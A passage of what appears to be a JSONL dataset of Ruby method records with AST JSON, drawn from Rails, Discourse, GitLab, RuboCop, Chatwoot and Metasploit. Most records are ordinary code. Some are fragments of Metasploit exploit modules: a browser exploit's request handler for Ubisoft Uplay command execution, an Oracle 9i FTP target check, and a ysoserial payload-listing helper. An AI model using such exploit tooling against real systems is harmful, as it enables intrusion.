end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"msg_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"optarg\",\"children\":[\"lib\",{\"type\":\"str\",\"children\":[\"Rails\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"lib\"]}]}]}","id":"b84a3959-1137-4ce7-a45a-393130441c3f"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":898,"raw_source":"def disabled_by\n find_disable_action_log&.acting_user\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_disable_action_log\"]},\"acting_user\"]}]}","id":"944a2205-eb5a-41d5-996c-2d46e993af8f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/geometric_test.rb","start_line":91,"raw_source":"def test_hash_assignment\n p = PostgresqlPoint.new(x: { x: 1, y: 2 }, y: { \"x\" => 3, \"y\" => 4 })\n\n assert_equal ActiveRecord::Point.new(1, 2), p.x\n assert_equal ActiveRecord::Point.new(3, 4), p.y\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_assignment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"y\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Point\"]},\"new\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Point\"]},\"new\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"y\"]}]}]}]}","id":"7ac6dc5f-e82d-42b8-86f4-0b1b95a146aa"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":367,"raw_source":"def test_redirect\n with_test_route_set do\n get \"/redirect\"\n assert_equal 302, status\n assert_equal \"Found\", status_message\n assert_response 302\n assert_response :redirect\n assert_response :found\n assert_equal \"\", response.body\n assert_kind_of Nokogiri::HTML::Document, html_document\n assert_equal 1, request_count\n\n follow_redirect!\n assert_equal \"http://www.example.com/redirect\", request.referer\n assert_response :success\n assert_equal \"/get\", path\n\n get \"/moved\"\n assert_response :redirect\n assert_redirected_to \"/method\"\n end\n end","complexity_score":35.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[302]},{\"type\":\"send\",\"children\":[null,\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Found\"]},{\"type\":\"send\",\"children\":[null,\"status_message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"found\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"Document\"]},{\"type\":\"send\",\"children\":[null,\"html_document\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"request_count\"]}]},{\"type\":\"send\",\"children\":[null,\"follow_redirect!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.example.com/redirect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/get\"]},{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/moved\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"/method\"]}]}]}]}]}","id":"68868316-b1bd-4f6c-8761-68c0826e9680"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":61,"raw_source":"def self.thread_loop\n iterations = 0\n while true\n break if !enabled?\n\n sleep SLEEP_SECONDS\n flush_in_memory\n if (iterations >= FLUSH_DB_ITERATIONS) || @flush\n iterations = 0\n flush_to_db\n @flush = false\n end\n iterations += 1\n end\n rescue => ex\n if Redis::ReadOnlyError === ex\n # do not warn for Redis readonly mode\n elsif PG::ReadOnlySqlTransaction === ex\n # do not warn for PG readonly mode\n else\n Discourse.warn_exception(ex, message: \"Unexpected error while processing cached counts\")\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thread_loop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},\"!\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"const\",\"children\":[null,\"SLEEP_SECONDS\"]}]},{\"type\":\"send\",\"children\":[null,\"flush_in_memory\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iterations\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"FLUSH_DB_ITERATIONS\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@flush\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"flush_to_db\"]},{\"type\":\"ivasgn\",\"children\":[\"@flush\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iterations\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"ReadOnlyError\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"ReadOnlySqlTransaction\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"warn_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Unexpected error while processing cached counts\"]}]}]}]}]}]}]},null]}]}","id":"f7710fac-a9f7-4e44-befc-33fddf683c12"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb","start_line":76,"raw_source":"def on_request_uri(cli, request)\n case request.method\n when 'OPTIONS'\n process_options(cli, request)\n when 'PROPFIND'\n process_propfind(cli, request)\n when 'GET'\n if request.uri_parts['Resource'].include? @uplay_uri\n if is_exploitable?(request)\n prompt_uplay(cli, request)\n else\n print_error(\"Not the target we want, will not engage.\")\n resp = create_response(404, \"Not Found\")\n resp.body = \"\"\n resp['Content-Type'] = 'text/html'\n cli.send_response(resp)\n end\n else\n process_get(cli, request)\n end\n else\n vprint_status(\"#{request.method} => 404 (#{request.uri})\")\n resp = create_response(404, \"Not Found\")\n resp.body = \"\"\n resp['Content-Type'] = 'text/html'\n cli.send_response(resp)\n end\n end","complexity_score":38.18,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"OPTIONS\"]},{\"type\":\"send\",\"children\":[null,\"process_options\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PROPFIND\"]},{\"type\":\"send\",\"children\":[null,\"process_propfind\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri_parts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Resource\"]}]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@uplay_uri\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_exploitable?\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_uplay\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not the target we want, will not engage.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_get\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]}]},{\"type\":\"str\",\"children\":[\" => 404 (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[404]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"body=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}]}","id":"2b7c6a8b-5021-44f7-a459-4d713eb52cb2"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":314,"raw_source":"def other_offense_in_same_range?(node)\n expr = node.source_range\n @offense_ranges ||= []\n\n return true if @offense_ranges.any? { |r| within?(expr, r) }\n\n @offense_ranges << expr\n false\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"other_offense_in_same_range?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expr\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@offense_ranges\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_ranges\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"within?\",{\"type\":\"lvar\",\"children\":[\"expr\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offense_ranges\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"cf329d70-8d10-4838-9969-1cf11c737b9f"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/configuration/embedding_defs_validator.rb","start_line":10,"raw_source":"def valid_value?(val)\n if val.blank?\n if SiteSetting.ai_embeddings_enabled\n @disable_embeddings = true\n return false\n else\n return true\n end\n end\n\n return true if Rails.env.test? && @opts[:run_check_in_tests].blank?\n\n embedding_def = EmbeddingDefinition.find_by(id: val)\n if embedding_def.present?\n DiscourseAi::Embeddings::Vector.new(embedding_def).vector_from(\"this is a test\")\n end\n\n true\n rescue Net::HTTPBadResponse => e\n false\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"blank?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_embeddings_enabled\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@disable_embeddings\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_check_in_tests\"]}]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"embedding_def\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddingDefinition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedding_def\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Vector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"embedding_def\"]}]},\"vector_from\",{\"type\":\"str\",\"children\":[\"this is a test\"]}]},null]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPBadResponse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"aef657d1-28df-44bb-b081-481e7b22acad"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb","start_line":65,"raw_source":"def check\n connect\n disconnect\n if (banner =~ /9\\.2\\.0\\.1\\.0/)\n return Exploit::CheckCode::Appears\n end\n\n return Exploit::CheckCode::Safe\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"9\\\\.2\\\\.0\\\\.1\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"2a5fe98b-5336-45a8-bb83-fbdf0ed8649a"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/upload_security.rb","start_line":75,"raw_source":"def should_be_secure_with_reason\n insecure_context_checks.each { |check, reason| return false, reason if perform_check(check) }\n secure_context_checks.each do |check, reason|\n return perform_check(check), reason if priority_check?(check)\n return true, reason if perform_check(check)\n end\n\n [false, \"no checks satisfied\"]\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"should_be_secure_with_reason\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"insecure_context_checks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_context_checks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"priority_check?\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_check\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"no checks satisfied\"]}]}]}]}","id":"fe345717-e718-413c-9d48-2cb79c770daf"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_detailed_user_serializer.rb","start_line":68,"raw_source":"def can_revoke_moderation\n scope.can_revoke_moderation?(object)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_revoke_moderation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_revoke_moderation?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"818182b9-73a6-4b9b-87b2-33f9194731db"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/personal_access_token.rb","start_line":26,"raw_source":"def revoke!(current_user)\n raise ::Authn::AgnosticTokenIdentifier::NotFoundError, 'Not Found' if revocable.blank?\n\n @current_user = current_user\n service = service_by_type\n\n service.execute\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"AgnosticTokenIdentifier\"]},\"NotFoundError\"]},{\"type\":\"str\",\"children\":[\"Not Found\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[null,\"service_by_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"execute\"]}]}]}","id":"8666ad45-6845-4383-9c1e-5ea1dc6137f8"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/telegram_events_job.rb","start_line":4,"raw_source":"def perform(params = {})\n return unless params[:bot_token]\n\n channel = Channel::Telegram.find_by(bot_token: params[:bot_token])\n\n if channel_is_inactive?(channel)\n log_inactive_channel(channel, params)\n return\n end\n\n process_event_params(channel, params)\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_token\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Telegram\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bot_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_token\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_is_inactive?\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_inactive_channel\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"process_event_params\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"72cc0f9a-cd91-42e0-bf21-ff686abef764"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/third_party/cleanup_tags_service.rb","start_line":38,"raw_source":"def filter_keep_n(tags)\n tags, tags_to_keep = partition_by_keep_n(tags)\n\n cache_tags(tags_to_keep)\n\n tags\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_keep_n\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\"]},{\"type\":\"lvasgn\",\"children\":[\"tags_to_keep\"]}]},{\"type\":\"send\",\"children\":[null,\"partition_by_keep_n\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cache_tags\",{\"type\":\"lvar\",\"children\":[\"tags_to_keep\"]}]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}","id":"90253392-9684-4d37-9277-86a13e0c8bf9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb","start_line":123,"raw_source":"def get_payload_list\n # Call ysoserial and return the list of payloads that can be generated\n payloads = `java -jar ysoserial-original.jar 2>&1`\n payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')\n payloads = payloads.split(\"\\n\")\n\n # Make sure the headers are intact, then skip over them\n abort unless payloads[0] == 'Y SO SERIAL?'\n payloads = payloads.drop_while { |line| !line.strip.start_with?('Payload') }\n payloads = payloads.drop(2)\n\n payload_list = []\n payloads.each do |line|\n # Skip the header rows\n next unless line.start_with? ' '\n\n payload_list.push(line.match(/^ +([^ ]+)/)[1])\n end\n\n payload_list - ['JRMPClient', 'JRMPListener']\nend","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_payload_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"java -jar ysoserial-original.jar 